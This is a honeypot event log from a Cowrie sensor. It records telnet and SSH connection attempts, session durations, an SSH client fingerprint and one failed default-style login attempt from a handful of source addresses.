{"eventid":"cowrie.session.closed","duration":0.7870182991027832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:04.146559Z","src_ip":"159.203.13.64","session":"f8e9c2391d0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48926,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e06423ff59","protocol":"telnet","message":"New connection: 159.203.13.64:48926 (10.17.0.5:23) [session: a2e06423ff59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:04.188192Z"}
{"eventid":"cowrie.session.closed","duration":32.226340532302856,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:04.827164Z","src_ip":"80.252.221.197","session":"75294e4e9b30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51462,"dst_ip":"159.203.135.109","dst_port":22,"session":"2708f1d8b737","protocol":"ssh","message":"New connection: 159.203.92.129:51462 (159.203.135.109:22) [session: 2708f1d8b737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:04.881261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:04.886297Z","src_ip":"159.203.92.129","session":"2708f1d8b737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:04.891112Z","src_ip":"159.203.92.129","session":"2708f1d8b737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alicja","password":"alicja","message":"login attempt [alicja/alicja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:04.945302Z","src_ip":"159.203.92.129","session":"2708f1d8b737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.34487819671631,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:05.140830Z","src_ip":"159.203.13.64","session":"bf04c9ed7f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:05.951632Z","src_ip":"159.203.92.129","session":"2708f1d8b737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59034,"dst_ip":"159.203.135.109","dst_port":23,"session":"d76e0f6f6927","protocol":"telnet","message":"New connection: 80.252.221.197:59034 (159.203.135.109:23) [session: d76e0f6f6927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:06.152384Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59044,"dst_ip":"159.203.135.109","dst_port":23,"session":"e17e057bd2fb","protocol":"telnet","message":"New connection: 80.252.221.197:59044 (159.203.135.109:23) [session: e17e057bd2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:06.207393Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59050,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e94f80fba8f","protocol":"telnet","message":"New connection: 80.252.221.197:59050 (159.203.135.109:23) [session: 1e94f80fba8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:06.287932Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48932,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e6fd83b517b","protocol":"telnet","message":"New connection: 159.203.13.64:48932 (10.17.0.5:23) [session: 1e6fd83b517b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:06.362207Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59054,"dst_ip":"159.203.135.109","dst_port":23,"session":"662d76f2be6a","protocol":"telnet","message":"New connection: 80.252.221.197:59054 (159.203.135.109:23) [session: 662d76f2be6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:06.662460Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":59064,"dst_ip":"159.203.135.109","dst_port":23,"session":"188c7c635be1","protocol":"telnet","message":"New connection: 80.252.221.197:59064 (159.203.135.109:23) [session: 188c7c635be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:07.011264Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48934,"dst_ip":"10.17.0.5","dst_port":23,"session":"39c299bc0148","protocol":"telnet","message":"New connection: 159.203.13.64:48934 (10.17.0.5:23) [session: 39c299bc0148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:07.087237Z"}
{"eventid":"cowrie.session.closed","duration":33.834229707717896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:07.676198Z","src_ip":"80.252.221.197","session":"85411b44251b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":58278,"dst_ip":"159.203.135.109","dst_port":23,"session":"74f456cfa929","protocol":"telnet","message":"New connection: 80.252.221.197:58278 (159.203.135.109:23) [session: 74f456cfa929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:07.755625Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48940,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89989d2d8c2","protocol":"telnet","message":"New connection: 159.203.13.64:48940 (10.17.0.5:23) [session: a89989d2d8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:08.331075Z"}
{"eventid":"cowrie.session.closed","duration":46.99897813796997,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:08.451968Z","src_ip":"159.203.13.64","session":"4600e6e022bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.07985758781433,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:09.519172Z","src_ip":"159.203.13.64","session":"195a57726626","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48942,"dst_ip":"10.17.0.5","dst_port":23,"session":"97fb3a68fe24","protocol":"telnet","message":"New connection: 159.203.13.64:48942 (10.17.0.5:23) [session: 97fb3a68fe24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:09.558285Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48946,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2d052fac3d3","protocol":"telnet","message":"New connection: 159.203.13.64:48946 (10.17.0.5:23) [session: c2d052fac3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:10.294390Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37244,"dst_ip":"10.17.0.5","dst_port":23,"session":"e69e16554766","protocol":"telnet","message":"New connection: 159.203.13.64:37244 (10.17.0.5:23) [session: e69e16554766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:11.085797Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":58294,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1bea220040c","protocol":"telnet","message":"New connection: 80.252.221.197:58294 (159.203.135.109:23) [session: a1bea220040c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:11.234980Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":58296,"dst_ip":"159.203.135.109","dst_port":23,"session":"19a3185c8d20","protocol":"telnet","message":"New connection: 80.252.221.197:58296 (159.203.135.109:23) [session: 19a3185c8d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:11.432502Z"}
{"eventid":"cowrie.session.closed","duration":38.455734729766846,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:12.168122Z","src_ip":"80.252.221.197","session":"50f0d23ef67f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.86128759384155,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:12.614962Z","src_ip":"159.203.13.64","session":"4cf40b83d7a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":58300,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb39c38bee27","protocol":"telnet","message":"New connection: 80.252.221.197:58300 (159.203.135.109:23) [session: eb39c38bee27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:13.957872Z"}
{"eventid":"cowrie.session.closed","duration":51.12900948524475,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:16.997566Z","src_ip":"159.203.13.64","session":"9745170cdb85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.0107479095459,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:18.267882Z","src_ip":"159.203.13.64","session":"497a984bf3e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.1806743144989,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:20.787141Z","src_ip":"159.203.13.64","session":"da919a04450b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.11326599121094,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:20.987327Z","src_ip":"159.203.13.64","session":"43d9985266d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":51838,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ca7ce293f89","protocol":"telnet","message":"New connection: 80.252.221.197:51838 (159.203.135.109:23) [session: 3ca7ce293f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:21.481662Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44628,"dst_ip":"10.17.0.5","dst_port":23,"session":"57ee141191e6","protocol":"telnet","message":"New connection: 159.203.13.64:44628 (10.17.0.5:23) [session: 57ee141191e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:21.552689Z"}
{"eventid":"cowrie.session.closed","duration":41.850589752197266,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:22.999676Z","src_ip":"159.203.13.64","session":"c2da82ae0d6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.70375204086304,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:26.917769Z","src_ip":"159.203.13.64","session":"e21c04a704fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":51846,"dst_ip":"159.203.135.109","dst_port":23,"session":"1de44c197827","protocol":"telnet","message":"New connection: 80.252.221.197:51846 (159.203.135.109:23) [session: 1de44c197827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:27.052443Z"}
{"eventid":"cowrie.session.closed","duration":47.694700956344604,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:27.445685Z","src_ip":"159.203.13.64","session":"f8205bf9fe6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.176681995391846,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:28.725041Z","src_ip":"159.203.13.64","session":"6959eac02fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50396,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9ff7cbf7df4","protocol":"telnet","message":"New connection: 80.252.221.197:50396 (159.203.135.109:23) [session: d9ff7cbf7df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:31.442324Z"}
{"eventid":"cowrie.session.closed","duration":36.31481671333313,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:31.893654Z","src_ip":"159.203.13.64","session":"5527813e3f9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50408,"dst_ip":"159.203.135.109","dst_port":23,"session":"b55ba3386927","protocol":"telnet","message":"New connection: 80.252.221.197:50408 (159.203.135.109:23) [session: b55ba3386927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:32.296747Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50418,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b3b5a8fea3b","protocol":"telnet","message":"New connection: 80.252.221.197:50418 (159.203.135.109:23) [session: 2b3b5a8fea3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:32.698022Z"}
{"eventid":"cowrie.session.closed","duration":40.87932372093201,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:32.758512Z","src_ip":"159.203.13.64","session":"ec4833be17b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.579192876815796,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:33.699601Z","src_ip":"159.203.13.64","session":"c0621ac0059a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43288,"dst_ip":"10.17.0.5","dst_port":23,"session":"4765ce319cf8","protocol":"telnet","message":"New connection: 159.203.13.64:43288 (10.17.0.5:23) [session: 4765ce319cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:33.910330Z"}
{"eventid":"cowrie.session.closed","duration":41.647462368011475,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:34.309928Z","src_ip":"159.203.13.64","session":"34c70c1c2a57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50432,"dst_ip":"159.203.135.109","dst_port":23,"session":"a72e13cf0fcf","protocol":"telnet","message":"New connection: 80.252.221.197:50432 (159.203.135.109:23) [session: a72e13cf0fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:34.352795Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43300,"dst_ip":"10.17.0.5","dst_port":23,"session":"57fd57351d86","protocol":"telnet","message":"New connection: 159.203.13.64:43300 (10.17.0.5:23) [session: 57fd57351d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:34.573364Z"}
{"eventid":"cowrie.session.closed","duration":43.994892597198486,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:36.996319Z","src_ip":"159.203.13.64","session":"d335f3e3acd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50444,"dst_ip":"159.203.135.109","dst_port":23,"session":"37997abe95a2","protocol":"telnet","message":"New connection: 80.252.221.197:50444 (159.203.135.109:23) [session: 37997abe95a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:37.477768Z"}
{"eventid":"cowrie.session.closed","duration":35.28374242782593,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:37.628132Z","src_ip":"80.252.221.197","session":"0ab6f30f236a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.38115334510803,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:38.470131Z","src_ip":"159.203.13.64","session":"b9b6fa12bcba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45904,"dst_ip":"159.203.135.109","dst_port":23,"session":"e95819a7bb0b","protocol":"telnet","message":"New connection: 80.252.221.197:45904 (159.203.135.109:23) [session: e95819a7bb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:38.474124Z"}
{"eventid":"cowrie.session.closed","duration":39.51368594169617,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:38.631153Z","src_ip":"159.203.13.64","session":"c930df779264","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45914,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddbdf89807f1","protocol":"telnet","message":"New connection: 80.252.221.197:45914 (159.203.135.109:23) [session: ddbdf89807f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:38.981860Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43314,"dst_ip":"10.17.0.5","dst_port":23,"session":"efbde8d02599","protocol":"telnet","message":"New connection: 159.203.13.64:43314 (10.17.0.5:23) [session: efbde8d02599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:39.037884Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43316,"dst_ip":"10.17.0.5","dst_port":23,"session":"62b4ad5e44a3","protocol":"telnet","message":"New connection: 159.203.13.64:43316 (10.17.0.5:23) [session: 62b4ad5e44a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:39.055748Z"}
{"eventid":"cowrie.session.closed","duration":34.02367544174194,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:40.175930Z","src_ip":"80.252.221.197","session":"d76e0f6f6927","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.550830125808716,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:40.213175Z","src_ip":"80.252.221.197","session":"662d76f2be6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.142889738082886,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:40.350145Z","src_ip":"80.252.221.197","session":"e17e057bd2fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40820,"dst_ip":"10.17.0.5","dst_port":23,"session":"47a1276fc35c","protocol":"telnet","message":"New connection: 159.203.13.64:40820 (10.17.0.5:23) [session: 47a1276fc35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:40.787344Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40828,"dst_ip":"10.17.0.5","dst_port":23,"session":"5914abea7381","protocol":"telnet","message":"New connection: 159.203.13.64:40828 (10.17.0.5:23) [session: 5914abea7381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:41.165303Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40836,"dst_ip":"10.17.0.5","dst_port":23,"session":"aabf695464fd","protocol":"telnet","message":"New connection: 159.203.13.64:40836 (10.17.0.5:23) [session: aabf695464fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:41.489610Z"}
{"eventid":"cowrie.session.closed","duration":34.88554787635803,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:41.896730Z","src_ip":"80.252.221.197","session":"188c7c635be1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7950394153595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:42.082874Z","src_ip":"80.252.221.197","session":"1e94f80fba8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40846,"dst_ip":"10.17.0.5","dst_port":23,"session":"b49d172f4322","protocol":"telnet","message":"New connection: 159.203.13.64:40846 (10.17.0.5:23) [session: b49d172f4322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:42.291450Z"}
{"eventid":"cowrie.session.closed","duration":35.741177558898926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:43.496679Z","src_ip":"80.252.221.197","session":"74f456cfa929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.63011956214905,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:43.695135Z","src_ip":"159.203.13.64","session":"0f1585c70f67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.17301154136658,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:44.361074Z","src_ip":"159.203.13.64","session":"a2e06423ff59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45916,"dst_ip":"159.203.135.109","dst_port":23,"session":"77394855c83c","protocol":"telnet","message":"New connection: 80.252.221.197:45916 (159.203.135.109:23) [session: 77394855c83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:44.466264Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45926,"dst_ip":"159.203.135.109","dst_port":23,"session":"76e17908cebc","protocol":"telnet","message":"New connection: 80.252.221.197:45926 (159.203.135.109:23) [session: 76e17908cebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:44.757089Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45942,"dst_ip":"159.203.135.109","dst_port":23,"session":"19cd89056dbf","protocol":"telnet","message":"New connection: 80.252.221.197:45942 (159.203.135.109:23) [session: 19cd89056dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:45.197530Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45936,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8611f8b7d94","protocol":"telnet","message":"New connection: 80.252.221.197:45936 (159.203.135.109:23) [session: a8611f8b7d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:42:45.203006Z"}
